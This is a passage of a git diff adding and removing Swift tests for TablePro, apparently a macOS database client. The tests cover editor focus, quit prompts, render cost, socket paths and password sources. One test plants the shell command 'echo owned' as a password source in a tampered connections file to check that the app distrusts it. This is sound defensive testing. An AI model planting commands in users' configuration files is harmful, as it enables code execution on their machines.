"/var/run/postgresql/") == .looksLikeDirectory) - } - - @Test("Loading a connection populates the socket path") - func loadsSocketPath() { - var connection = DatabaseConnection( - name: "socket", - host: "db.internal", - port: 5_432, - type: .postgresql - ) - connection.sshForwardUnixSocketPath = "/var/run/postgresql/.s.PGSQL.5432" - - let viewModel = NetworkPaneViewModel() - viewModel.load(from: connection) - - #expect(viewModel.sshForwardUnixSocketPath == "/var/run/postgresql/.s.PGSQL.5432") - #expect(viewModel.forwardsToUnixSocket) - } - - @Test("Writing trims the socket path") - func writeTrimsSocketPath() { - let viewModel = NetworkPaneViewModel() - viewModel.sshForwardUnixSocketPath = " /var/run/postgresql/.s.PGSQL.5432 " - - var fields: [String: String] = [:] - viewModel.write(into: &fields) - - #expect(fields[DatabaseConnection.sshForwardUnixSocketPathKey] == "/var/run/postgresql/.s.PGSQL.5432") - } - - @Test("Writing an empty socket path stores nothing") - func writeOmitsEmptySocketPath() { - let viewModel = NetworkPaneViewModel() - viewModel.sshForwardUnixSocketPath = " " - - var fields: [String: String] = [:] - viewModel.write(into: &fields) - - #expect(fields[DatabaseConnection.sshForwardUnixSocketPathKey] == nil) - #expect(viewModel.forwardsToUnixSocket == false) - } - - @Test("The socket path prompt follows the database type") - func socketPromptFollowsType() { - let viewModel = NetworkPaneViewModel() - - viewModel.type = .mysql - #expect(viewModel.socketPathPrompt == "/var/run/mysqld/mysqld.sock") - - viewModel.type = .postgresql - #expect(viewModel.socketPathPrompt == "/var/run/postgresql/.s.PGSQL.5432") - } - - @Test("A type without a socket convention falls back to a generic prompt") - func socketPromptFallsBackForSocketlessType() { - let viewModel = NetworkPaneViewModel() - viewModel.type = .clickhouse - - #expect(viewModel.socketPathPrompt == "/path/to/database.sock") - } -} diff --git a/apple/TableProTests/Views/ConnectionForm/NetworkPaneTunnelHostListCaptionTests.swift b/apple/TableProTests/Views/ConnectionForm/NetworkPaneTunnelHostListCaptionTests.swift deleted file mode 100644 index d3689c41a7..0000000000 --- a/apple/TableProTests/Views/ConnectionForm/NetworkPaneTunnelHostListCaptionTests.swift +++ /dev/null @@ -1,87 +0,0 @@ -// -// NetworkPaneTunnelHostListCaptionTests.swift -// TableProTests -// - -import Foundation -@testable import TablePro -import Testing - -@MainActor -struct NetworkPaneTunnelHostListCaptionTests { - private func viewModel(type: DatabaseType, fields: [String: String]) -> NetworkPaneViewModel { - let viewModel = NetworkPaneViewModel() - viewModel.type = type - viewModel.additionalFieldValues = fields - return viewModel - } - - @Test("Redis Sentinel says Sentinel cannot run through a tunnel, not that failover is off") - func sentinelCaption() throws { - let caption = try #require(viewModel( - type: .redis, - fields: ["redisMode": "sentinel", "redisSentinelHosts": "s1.example:26379,s2.example:26379"] - ).tunnelHostListCaption) - - #expect(!caption.localizedCaseInsensitiveContains("replica set")) - #expect(caption.localizedCaseInsensitiveContains("Sentinel")) - } - - @Test("Redis Sentinel is refused through a tunnel with a single node too") - func sentinelCaptionWithOneNode() { - let caption = viewModel( - type: .redis, - fields: ["redisMode": "sentinel", "redisSentinelHosts": "s1.example:26379"] - ).tunnelHostListCaption - - #expect(caption != nil) - } - - @Test("Redis Cluster names the first node, not a replica set") - func clusterCaption() throws { - let caption = try #require(viewModel( - type: .redis, - fields: ["redisMode": "cluster", "redisClusterHosts": "n1.example:7000,n2.example:7001"] - ).tunnelHostListCaption) - - #expect(!caption.localizedCaseInsensitiveContains("replica set")) - #expect(caption.localizedCaseInsensitiveContains("node")) - } - - @Test("Redis Cluster warns with a single seed node, since the tunnel still reaches only that node") - func clusterCaptionWithOneSeed() { - let caption = viewModel( - type: .redis, - fields: ["redisMode": "cluster", "redisClusterHosts": "n1.example:7000"] - ).tunnelHostListCaption - - #expect(caption != nil) - } - - @Test("Kafka names the first broker, not a replica set") - func kafkaCaption() throws { - let caption = try #require(viewModel( - type: .kafka, - fields: ["kafkaBootstrapServers": "b1.example:9092,b2.example:9092"] - ).tunnelHostListCaption) - - #expect(!caption.localizedCaseInsensitiveContains("replica set")) - #expect(caption.localizedCaseInsensitiveContains("broker")) - } - - @Test("MongoDB keeps its replica set caption") - func mongoCaption() throws { - let caption = try #require(viewModel( - type: .mongodb, - fields: ["mongoHosts": "a.example:27017,b.example:27017"] - ).tunnelHostListCaption) - - #expect(caption.localizedCaseInsensitiveContains("replica set")) - } - - @Test("A single MongoDB host and an engine without a host list get no caption") - func noCaption() { - #expect(viewModel(type: .mongodb, fields: ["mongoHosts": "a.example:27017"]).tunnelHostListCaption == nil) - #expect(viewModel(type: .postgresql, fields: [:]).tunnelHostListCaption == nil) - } -} diff --git a/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorFocusTests.swift b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorFocusTests.swift new file mode 100644 index 0000000000..c83bc695b0 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorFocusTests.swift @@ -0,0 +1,161 @@ +// +// ConnectionEditorFocusTests.swift +// TableProTests +// + +import AppKit +import Foundation +import TableProPluginKit +import TableProSSHConfig +import TableProTestSupport +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorFocusTests { + private func makeController(_ fixture: ConnectionEditorStoreFixture) -> ConnectionEditorWindowController { + ConnectionEditorWindowController(store: fixture.makeStore(.new(type: .postgresql, parsedURL: nil)), frameAutosaveName: nil) + } + + private func flush(_ window: NSWindow) { + RunLoop.main.run(until: Date()) + window.contentView?.layoutSubtreeIfNeeded() + } + + // SwiftUI keeps accessibility identifiers off its AppKit views, so a probe value tells the fields apart. + private func focusedText(in window: NSWindow) -> String? { + (window.firstResponder as? NSTextView)?.string + } + + private func editableField(in view: NSView) -> NSTextField? { + if let field = view as? NSTextField, field.isEditable { return field } + for subview in view.subviews { + if let field = editableField(in: subview) { return field } + } + return nil + } + + private func textView(in view: NSView) -> NSTextView? { + if let textView = view as? NSTextView, !textView.isFieldEditor { return textView } + for subview in view.subviews { + if let found = textView(in: subview) { return found } + } + return nil + } + + private func escape(in window: NSWindow, modifiers: NSEvent.ModifierFlags = []) throws -> NSEvent { + try #require(NSEvent.keyEvent( + with: .keyDown, + location: .zero, + modifierFlags: modifiers, + timestamp: 0, + windowNumber: window.windowNumber, + context: nil, + characters: "\u{1b}", + charactersIgnoringModifiers: "\u{1b}", + isARepeat: false, + keyCode: 53 + )) + } + + @Test("A facet built after focus(on:) focuses the requested row, whatever kind of row it is") + func focusReachesFacetsBuiltLater() async throws { + let fixture = try ConnectionEditorStoreFixture() + let controller = makeController(fixture) + defer { controller.close() } + let store = controller.store + let window = try #require(controller.window) + store.selectTransport(.ssh) + let jumpHost = store.addJumpHost() + let rule = store.addMaskingRule() + store.update { + $0.ssh.host = "probe-ssh-host" + $0.options.connectTimeoutSeconds = 77 + $0.options.preConnectScript = "probe-pre-connect" + $0.ssl.clientKeyPath = "/probe/client.key" + $0.ai.rules = "probe-ai-rules" + $0.database = "probe_database" + } + store.updateMaskingRule(MaskingRule(id: rule, pattern: "probe-pattern")) + store.updateJumpHost(SSHJumpHost(id: jumpHost, host: "probe-jump-host")) + flush(window) + try #require(controller.detail.visitedFacets == [.general]) + + let cases: [(ConnectionFacet, EditorRow, String)] = [ + (.sshAndProxies, .builtIn(.sshHost), "probe-ssh-host"), + (.advanced, .builtIn(.connectTimeout), "77"), + (.startup, .builtIn(.preConnectScript), "probe-pre-connect"), + (.sslTLS, .builtIn(.sslClientKey), "/probe/client.key"), + (.aiAndMCP, .builtIn(.aiRules), "probe-ai-rules"), + (.safeMode, .builtIn(.maskingRules), "probe-pattern"), + (.sshAndProxies, .builtIn(.jumpHost(jumpHost)), "probe-jump-host"), + (.general, .builtIn(.database), "probe_database"), + ] + for (facet, row, probe) in cases { + try #require(store.layout.facet(facet)?.contains(row) == true, "\(row)") + store.focus(facet: facet, row: row) + do { + try await waitUntil(timeout: .seconds(3)) { focusedText(in: window) == probe } + } catch { + Issue.record("\(probe): the focused text is \(focusedText(in: window) ?? "nothing")") + } + #expect(store.focusRequest == nil, "\(row)") + } + #expect(controller.detail.visitedFacets.count == 7) + } + + @Test("Escape in a text field ends the edit and keeps the window; outside one it is left to Cancel") + func escapeInTextField() async throws { + let fixture = try ConnectionEditorStoreFixture() + let controller = makeController(fixture) + defer { controller.close() } + let window = try #require(controller.window) + flush(window) + let host = try #require(controller.detail.host(for: .general)?.view) + let field = try #require(editableField(in: host)) + #expect(window.makeFirstResponder(field)) + #expect((window.firstResponder as? NSTextView)?.isFieldEditor == true) + + #expect(!controller.consumesKeyDown(try escape(in: window, modifiers: .shift))) + #expect(controller.consumesKeyDown(try escape(in: window))) + + #expect(!(window.firstResponder is NSTextView)) + #expect(!controller.store.isClosing) + #expect(!controller.consumesKeyDown(try escape(in: window))) + } + + @Test("Escape in a code editor ends the edit and never cancels the window") + func escapeInCodeEditor() async throws { + let fixture = try ConnectionEditorStoreFixture() + let controller = makeController(fixture) + defer { controller.close() } + let window = try #require(controller.window) + controller.store.selectedFacet = .startup + try await waitUntil { controller.detail.shownContent == .facet(.startup) } + flush(window) + let host = try #require(controller.detail.host(for: .startup)?.view) + let editor = try #require(textView(in: host)) + #expect(window.makeFirstResponder(editor)) + + #expect(controller.consumesKeyDown(try escape(in: window))) + + #expect(window.firstResponder !== editor) + #expect(!controller.store.isClosing) + } + + @Test("Escape with no field being edited reaches Cancel and its close guard") + func escapeOutsideAFieldCancels() async throws { + let fixture = try ConnectionEditorStoreFixture() + let clean = makeController(fixture) + defer { clean.close() } + let window = try #require(clean.window) + flush(window) + window.makeFirstResponder(nil) + + #expect(!clean.consumesKeyDown(try escape(in: window))) + #expect(window.performKeyEquivalent(with: try escape(in: window))) + + try await waitUntil { clean.store.isClosing } + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorQuitTests.swift b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorQuitTests.swift new file mode 100644 index 0000000000..4844e4d33e --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorQuitTests.swift @@ -0,0 +1,145 @@ +// +// ConnectionEditorQuitTests.swift +// TableProTests +// + +import AppKit +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorQuitTests { + private func postgres(name: String) -> DatabaseConnection { + DatabaseConnection(name: name, host: "db.example.com", port: 5_432, database: "orders", username: "app", type: .postgresql) + } + + private func editor( + _ fixture: ConnectionEditorStoreFixture, + _ connection: DatabaseConnection, + host: String? = nil + ) -> ConnectionEditorWindowController { + let controller = ConnectionEditorWindowController( + store: fixture.makeStore(.edit(connectionId: connection.id)), + frameAutosaveName: nil + ) + if let host { + controller.store.update { $0.host = host } + } + return controller + } + + @Test("An editor with nothing to save is not asked, and the quit goes on") + func cleanEditorIsNotAsked() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres(name: "Orders") + fixture.seed([connection]) + let clean = editor(fixture, connection) + defer { clean.close() } + var asked: [String] = [] + + let approved = ConnectionEditorWindowController.prepareToTerminate([clean]) { _, prompt in + asked.append(prompt.connectionName) + return .cancel + } + + #expect(approved) + #expect(asked.isEmpty) + } + + @Test("Cancel stops the quit and writes nothing") + func cancelStopsTheQuit() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres(name: "Orders") + fixture.seed([connection]) + let edited = editor(fixture, connection, host: "replica.example.com") + defer { edited.close() } + + let approved = ConnectionEditorWindowController.prepareToTerminate([edited]) { _, _ in .cancel } + + #expect(!approved) + #expect(!edited.store.isClosing) + #expect(fixture.storage.loadConnection(id: connection.id)?.host == "db.example.com") + } + + @Test("Don't Save lets the quit go on and writes nothing") + func dontSaveQuits() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres(name: "Orders") + fixture.seed([connection]) + let edited = editor(fixture, connection, host: "replica.example.com") + defer { edited.close() } + + let approved = ConnectionEditorWindowController.prepareToTerminate([edited]) { _, _ in .dontSave } + + #expect(approved) + #expect(fixture.storage.loadConnection(id: connection.id)?.host == "db.example.com") + } + + @Test("Save writes the edits without connecting, closes the editor and lets the quit go on") + func saveQuits() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres(name: "Orders") + fixture.seed([connection]) + let edited = editor(fixture, connection, host: "replica.example.com") + var prompts: [ConnectionEditorSavePrompt] = [] + + let approved = ConnectionEditorWindowController.prepareToTerminate([edited]) { _, prompt in + prompts.append(prompt) + return .save + } + + #expect(approved) + #expect(prompts == [ConnectionEditorSavePrompt(connectionName: "Orders")]) + #expect(edited.store.isClosing) + #expect(fixture.storage.loadConnection(id: connection.id)?.host == "replica.example.com") + } + + @Test("A Save that fails stops the quit and leaves the editor on the issue") + func failedSaveStopsTheQuit() throws { + let fixture = try ConnectionEditorStoreFixture() + let connection = postgres(name: "Orders") + fixture.seed([connection]) + let edited = editor(fixture, connection, host: "replica.example.com") + defer { edited.close() } + edited.store.setPort("99999") + edited.store.selectedFacet = .appearance + + let approved = ConnectionEditorWindowController.prepareToTerminate([edited]) { _, _ in .save } + + #expect(!approved) + #expect(!edited.store.isClosing) + #expect(edited.store.selectedFacet == .general) + #expect(edited.store.revealedIssue(for: .builtIn(.port)) != nil) + #expect(fixture.storage.loadConnection(id: connection.id)?.port == 5_432) + } + + @Test("Editors are asked one at a time, and a Cancel stops before the next is asked") + func oneEditorAtATime() throws { + let fixture = try ConnectionEditorStoreFixture() + let orders = postgres(name: "Orders") + let billing = postgres(name: "Billing") + let reports = postgres(name: "Reports") + fixture.seed([orders, billing, reports]) + let first = editor(fixture, orders, host: "one.example.com") + let second = editor(fixture, billing, host: "two.example.com") + let third = editor(fixture, reports, host: "three.example.com") + defer { + first.close() + second.close() + third.close() + } + var asked: [String] = [] + + let approved = ConnectionEditorWindowController.prepareToTerminate([first, second, third]) { _, prompt in + asked.append(prompt.connectionName) + return prompt.connectionName == "Orders" ? .dontSave : .cancel + } + + #expect(!approved) + #expect(asked == ["Orders", "Billing"]) + #expect(fixture.storage.loadConnection(id: reports.id)?.host == "db.example.com") + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorRenderCostTests.swift b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorRenderCostTests.swift new file mode 100644 index 0000000000..e6db4fad7e --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorRenderCostTests.swift @@ -0,0 +1,133 @@ +// +// ConnectionEditorRenderCostTests.swift +// TableProTests +// + +import AppKit +import Foundation +import SwiftUI +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +private final class RenderCounter { + var counts: [ConnectionFacet: Int] = [:] + + func hit(_ facet: ConnectionFacet) -> Int { + counts[facet, default: 0] += 1 + return counts[facet, default: 0] + } +} + +// Observes the store the way every facet view does, so its body runs exactly when the facet's would. +private struct CountingFacetPage: View { + @ObservedObject var store: ConnectionEditorStore + let facet: ConnectionFacet + let counter: RenderCounter + + var body: some View { + let _ = counter.hit(facet) + ConnectionEditorFacetPage(store: store, facet: facet) + } +} + +@MainActor +struct ConnectionEditorRenderCostTests { + // A quarter of a 60 Hz frame for the pure part of a keystroke, on the slowest runner. + private static let engineBudget = Duration.milliseconds(4) + + private func flush(_ window: NSWindow) { + for _ in 0..<3 { + RunLoop.main.run(until: Date()) + window.contentView?.layoutSubtreeIfNeeded() + window.displayIfNeeded() + } + } + + // Every transport a type offers, with an SSH host, a jump host and a masking rule, so each facet has rows. + private func heaviestKeystroke(_ type: DatabaseType) -> (cost: Duration, label: String) { + let traits = ConnectionTypeTraits.live(for: type, pluginManager: .shared) + let base = ConnectionDraft.new(type: type, traits: traits) + var worst = (cost: Duration.zero, label: "") + for transport in ConnectionEditorEngine.availableTransports(base, traits) { + var draft = base + draft.selectTransport(transport) + draft.ssh.host = "bastion.example.com" + _ = draft.addJumpHost() + _ = draft.addMaskingRule() + let iterations = 40 + let elapsed = ContinuousClock().measure { + for index in 0.. worst.cost { + worst = (elapsed / iterations, "\(type.rawValue) via \(transport?.rawValue ?? "direct")") + } + } + return worst + } + + @Test("Layout and issues for a keystroke stay within budget for every registered type") + func engineStaysWithinBudget() { + let rows = DatabaseType.allKnownTypes.map(heaviestKeystroke).sorted { $0.cost > $1.cost } + for row in rows { + #expect(row.cost < Self.engineBudget, "\(row.label): \(row.cost)") + } + } + + @Test("Typing in General renders General only, however many facets were visited") + func typingRendersTheShownFacetOnly() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .postgresql, parsedURL: nil)) + store.selectTransport(.ssh) + let counter = RenderCounter() + let detail = ConnectionEditorDetailViewController(store: store, onCloseMissingRecord: {}) { facet in + AnyView(CountingFacetPage(store: store, facet: facet, counter: counter)) + } + let window = NSWindow( + contentRect: NSRect(x: 0, y: 0, width: 560, height: 700), + styleMask: [.titled], + backing: .buffered, + defer: false + ) + window.isReleasedWhenClosed = false + defer { window.orderOut(nil) } + detail.view.frame = NSRect(x: 0, y: 0, width: 560, height: 700) + detail.view.autoresizingMask = [.width, .height] + window.contentView?.addSubview(detail.view) + for facet in store.layout.facetIDs + [.general] { + detail.show(.facet(facet)) + flush(window) + } + #expect(detail.visitedFacets == Set(store.layout.facetIDs)) + for facet in store.layout.facetIDs where facet != .general { + #expect(detail.host(for: facet)?.view.window == nil, "\(facet)") + } + + let before = counter.counts + let keystrokes = 10 + for index in 0..= 1) + #expect(rendered[.general, default: 0] <= keystrokes) + for facet in store.layout.facetIDs where facet != .general { + #expect(rendered[facet] == 0, "\(facet)") + } + + let parked = counter.counts[.advanced, default: 0] + detail.show(.facet(.advanced)) + flush(window) + #expect(counter.counts[.advanced, default: 0] > parked) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorWindowTests.swift b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorWindowTests.swift index 4ed1ccd5c9..76756c53fc 100644 --- a/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorWindowTests.swift +++ b/apple/TableProTests/Views/ConnectionForm/Shell/ConnectionEditorWindowTests.swift @@ -216,11 +216,12 @@ struct ConnectionEditorWindowTests { #expect(edited.window?.isDocumentEdited == false) edited.store.update { $0.name = "" } - try await waitUntil { edited.window?.isDocumentEdited == true } + try await waitUntil { edited.store.draft.name.isEmpty } #expect(edited.window?.title == "Orders") edited.store.update { $0.name = "Billing" } try await waitUntil { edited.window?.title == "Billing" } + #expect(edited.window?.isDocumentEdited == true) } // MARK: - Record missing @@ -328,7 +329,7 @@ struct ConnectionEditorWindowTests { let blocked = makeController(fixture, .edit(connectionId: connection.id)) defer { blocked.close() } - blocked.store.update { $0.name = "" } + blocked.store.setPort("99999") blocked.store.selectedFacet = .appearance blocked.resolveClose(.save) #expect(!blocked.store.isClosing) @@ -343,7 +344,7 @@ struct ConnectionEditorWindowTests { @Test("An invalid field is not an alert: Save already shows it in place") func saveErrorAlerts() { - let issue = FieldIssue(facet: .general, row: .builtIn(.name), message: "Name", severity: .error) + let issue = FieldIssue(facet: .general, row: .builtIn(.port), message: "Port", severity: .error) #expect(!ConnectionEditorPresentations.alertsSaveError(nil)) #expect(!ConnectionEditorPresentations.alertsSaveError(.invalid(issue))) #expect(ConnectionEditorPresentations.alertsSaveError(.keychainWriteFailed)) diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreAdvancedTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreAdvancedTests.swift new file mode 100644 index 0000000000..b8acffa346 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreAdvancedTests.swift @@ -0,0 +1,65 @@ +// +// ConnectionEditorStoreAdvancedTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorStoreAdvancedTests { + private let vec = LoadableExtension(path: "/opt/homebrew/lib/vec0.dylib") + private let spatialite = LoadableExtension(path: "/opt/homebrew/lib/mod_spatialite.dylib") + + private func editing(_ extensions: [LoadableExtension], in fixture: ConnectionEditorStoreFixture) throws + -> ConnectionEditorStore { + try #require( + PluginManager.shared.additionalConnectionFields(for: .sqlite) + .contains { $0.content == .loadableExtensions } + ) + let connection = DatabaseConnection( + name: "Vectors", + type: .sqlite, + additionalFields: [LoadableExtensionList.fieldId: LoadableExtensionList.encode(extensions)] + ) + fixture.seed([connection]) + return fixture.makeStore(.edit(connectionId: connection.id)) + } + + @Test("Saving an imported list untouched approves none of it") + func untouchedListApprovesNothing() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try editing([vec], in: fixture) + #expect(try LoadableExtensionList.decode(store.draft.fieldValues[LoadableExtensionList.fieldId]) == [vec]) + #expect(store.editedExtensions.isEmpty) + } + + @Test("Only the files added in this form count as chosen on this Mac") + func addedFilesAreEdited() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try editing([vec], in: fixture) + store.setFieldValue(LoadableExtensionList.encode([vec, spatialite]), for: LoadableExtensionList.fieldId) + #expect(store.editedExtensions == [spatialite]) + } + + @Test("Changing a file's entry point makes it a new choice") + func changedEntryPointIsEdited() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = try editing([vec], in: fixture) + let renamed = LoadableExtension(path: vec.path, entryPoint: "sqlite3_vec_init") + store.setFieldValue(LoadableExtensionList.encode([renamed]), for: LoadableExtensionList.fieldId) + #expect(store.editedExtensions == [renamed]) + } + + @Test("A new connection saved Local only has nothing in iCloud Keychain to remove") + func newLocalOnlyConnectionRemovesNothing() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: .mysql, parsedURL: nil)) + store.update { $0.options.localOnly = true } + + #expect(!store.removesSyncedSecretsOnSave) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreAuthTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreAuthTests.swift new file mode 100644 index 0000000000..ba98829436 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreAuthTests.swift @@ -0,0 +1,126 @@ +// +// ConnectionEditorStoreAuthTests.swift +// TableProTests +// + +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorStoreAuthTests { + private func connection( + source: PasswordSource?, + type: DatabaseType = .mysql, + configure: (inout DatabaseConnection) -> Void = { _ in } + ) -> DatabaseConnection { + var connection = TestFixtures.makeConnection(type: type) + connection.username = "app" + connection.passwordSource = source + configure(&connection) + return connection + } + + private func editing(_ connection: DatabaseConnection, in fixture: ConnectionEditorStoreFixture) -> ConnectionEditorStore { + fixture.seed([connection]) + return fixture.makeStore(.edit(connectionId: connection.id)) + } + + @Test("The form knows where a connection's password comes from") + func loadsThePasswordSource() throws { + let fixture = try ConnectionEditorStoreFixture() + let source = PasswordSource.command(shell: "op read op://vault/db/password") + let store = editing(connection(source: source), in: fixture) + + #expect(store.draft.credentials.passwordSource == source) + #expect(ConnectionEditorEngine.passwordSourceInUse(store.draft, store.traits) == source) + #expect(store.layout.contains(.builtIn(.passwordSource))) + } + + @Test("A prompt or a linked profile overrides the connection's own source") + func promptAndProfileOverrideTheSource() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = editing(connection(source: .env(variable: "DB_PASSWORD")), in: fixture) + + store.setPasswordPrompt(true) + #expect(ConnectionEditorEngine.passwordSourceInUse(store.draft, store.traits) == nil) + #expect(!store.layout.contains(.builtIn(.passwordSource))) + + store.setPasswordPrompt(false) + store.setCredentialMode(.profile(id: UUID())) + #expect(ConnectionEditorEngine.passwordSourceInUse(store.draft, store.traits) == nil) + } + + @Test("Saving a source-backed connection as a profile keeps the source") + func promotionKeepsATrustedSource() throws { + let fixture = try ConnectionEditorStoreFixture() + let source = PasswordSource.file(path: "~/.secrets/db") + let store = editing(connection(source: source), in: fixture) + + #expect(fixture.storage.storeIsTrusted) + #expect(store.credentialProfileFromCurrentCredentials().passwordMode == .source(source)) + } + + @Test("A source from a connections file something else changed becomes a prompt, never a profile source") + func promotionDropsAnUntrustedSource() throws { + let fixture = try ConnectionEditorStoreFixture() + let planted = connection(source: .command(shell: "echo owned")) + fixture.seed([planted]) + let fileURL = fixture.directory.appendingPathComponent("connections.json") + var data = try Data(contentsOf: fileURL) + data.append(contentsOf: Array(" ".utf8)) + try data.write(to: fileURL) + fixture.storage.invalidateCache() + + let store = fixture.makeStore(.edit(connectionId: planted.id)) + #expect(store.draft.credentials.passwordSource != nil) + #expect(!fixture.storage.storeIsTrusted) + #expect(store.credentialProfileFromCurrentCredentials().passwordMode == .prompt) + } + + // ~/.pgpass is a PostgreSQL toggle, so the promotion is checked on a type that declares it. + @Test("Saving a ~/.pgpass connection as a profile keeps ~/.pgpass") + func promotionKeepsPgpass() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = editing(connection(source: nil, type: .postgresql), in: fixture) + #expect(store.traits.field(ConnectionEditorEngine.pgpassFieldId) != nil) + store.setFieldValue("true", for: ConnectionEditorEngine.pgpassFieldId) + + #expect(store.credentialProfileFromCurrentCredentials().passwordMode == .pgpass) + } + + @Test("Test Connection asks for the password when Prompt for password is on") + func testConnectionCarriesThePromptFlag() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = fixture.makeStore(.new(type: nil, parsedURL: nil)) + store.setPasswordPrompt(true) + + let tested = store.testRecord(testId: UUID()) + + #expect(tested.promptForPassword) + #expect(ConnectionCredentialResolver.promptsForPassword(tested)) + } + + @Test("Test Connection runs the connection's source, not a Keychain password left beside it") + func testConnectionUsesTheSource() throws { + let fixture = try ConnectionEditorStoreFixture() + let source = PasswordSource.env(variable: "DB_PASSWORD") + let stored = connection(source: source) + fixture.seed([stored]) + #expect(fixture.storage.savePassword("stale", for: stored.id)) + let store = fixture.makeStore(.edit(connectionId: stored.id)) + + #expect(store.draft.credentials.password == "stale") + #expect(store.testRecord(testId: UUID()).passwordSource == source) + } + + @Test("A connection with only a source can still be saved as a profile") + func sourceAloneIsPromotable() throws { + let fixture = try ConnectionEditorStoreFixture() + let store = editing(connection(source: .env(variable: "REDIS_PASSWORD")) { $0.username = "" }, in: fixture) + + #expect(store.hasPromotableCredentials) + } +} diff --git a/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreLocalSocketTests.swift b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreLocalSocketTests.swift new file mode 100644 index 0000000000..d0f4744672 --- /dev/null +++ b/apple/TableProTests/Views/ConnectionForm/Store/ConnectionEditorStoreLocalSocketTests.swift @@ -0,0 +1,132 @@ +// +// ConnectionEditorStoreLocalSocketTests.swift +// TableProTests +// + +import Darwin +import Foundation +import TableProPluginKit +import Testing + +@testable import TablePro + +@MainActor +struct ConnectionEditorStoreLocalSocketTests { + private func socketStore( + _ fixture: ConnectionEditorStoreFixture, + type: DatabaseType, + path: String, + port: String? = nil + ) -> ConnectionEditorStore { + let store = fixture.makeStore(.new(type: type, parsedURL: nil)) + store.update { $0.name = "Local" } + if let port { + store.setPort(port) + } + store.selectEndpoint(.localSocket) + store.update { $0.localSocketPath = path } + return store + } + + private func makeDirectory() throws -> URL { + let directory = URL(fileURLWithPath: "/tmp", isDirectory: true) + .appendingPathComponent("tp-\(UUID().uuidString.prefix(8))", isDirectory: true) + try FileManager.default.createDirectory(at: directory, withIntermediateDirectories: true) + return directory + } + + @Test("A missing path, a plain file and a socket each read as such") + func fileStatusFollowsTheFile() throws { + let directory = try makeDirectory() + defer { try? FileManager.default.removeItem(at: directory) } + + #expect(SocketFileStatus.of(path: directory.appendingPathComponent("missing.sock").path) == .missing) + + let file = directory.appendingPathComponent("plain.sock").path + #expect(FileManager.default.createFile(atPath: file, contents: Data())) + #expect(SocketFileStatus.of(path: file) == .notSocket) + + let socketPath = directory.appendingPathComponent("m.sock").path + let descriptor = try bindUnixSocket(at: socketPath) + defer { close(descriptor) } + #expect(SocketFileStatus.of(path: socketPath) == .socket) + + let link = directory.appendingPathComponent("link.sock").path + try FileManager.default.createSymbolicLink(atPath: link, withDestinationPath: socketPath) + #expect(SocketFileStatus.of(path: link) == .socket) + } + + @Test("The file status stays quiet until the path itself is valid") + func fileStatusWaitsForAValidPath() throws { + let fixture = try ConnectionEditorStoreFixture() + #expect(socketStore(fixture, type: .mysql, path: "").localSocketFileStatus == nil) + #expect(socketStore(fixture, type: .mysql, path: "relative.sock").localSocketFileStatus == nil) + #expect(socketStore(fixture, type: .mysql, path: "/nonexistent-tablepro/m.sock").localSocketFileStatus == .missing) + } + + @Test("The file status checks the socket file the folder and port name") + func fileStatusChecksTheSocketFile() throws { + let directory = try makeDirectory() + defer { try? FileManager.default.removeItem(at: directory) } + let fixture = try ConnectionEditorStoreFixture() + + let store = socketStore(fixture, type: .postgresql, path: directory.path, port: "5433") + #expect(store.localSocketFileStatus == .missing) + + let descriptor = try bindUnixSocket(at: directory.appendingPathComponent(".s.PGSQL.5433").path) + defer { close(descriptor) } + #expect(store.localSocketFileStatus == .socket) + + store.setPort("5434") + #expect(store.localSocketFileStatus == .missing) + } + + @Test("~/.pgpass is matched by localhost for /tmp and by the folder otherwise") + func pgpassEndpoint() throws { + let fixture = try ConnectionEditorStoreFixture() + let pgpass = ConnectionEditorEngine.pgpassFieldId + #expect(ConnectionTypeTraits.live(for: .postgresql, pluginManager: .shared).field(pgpass) != nil) + + let defaultFolder = socketStore(fixture, type: .postgresql, path: "/tmp", port: "5433") + defaultFolder.setFieldValue("true", for: pgpass) + #expect(defaultFolder.pgpassLookup?.host == "localhost") + #expect(defaultFolder.pgpassLookup?.port == 5_433) + + let otherFolder = socketStore(fixture, type: .postgresql, path: "/var/run/postgresql") + 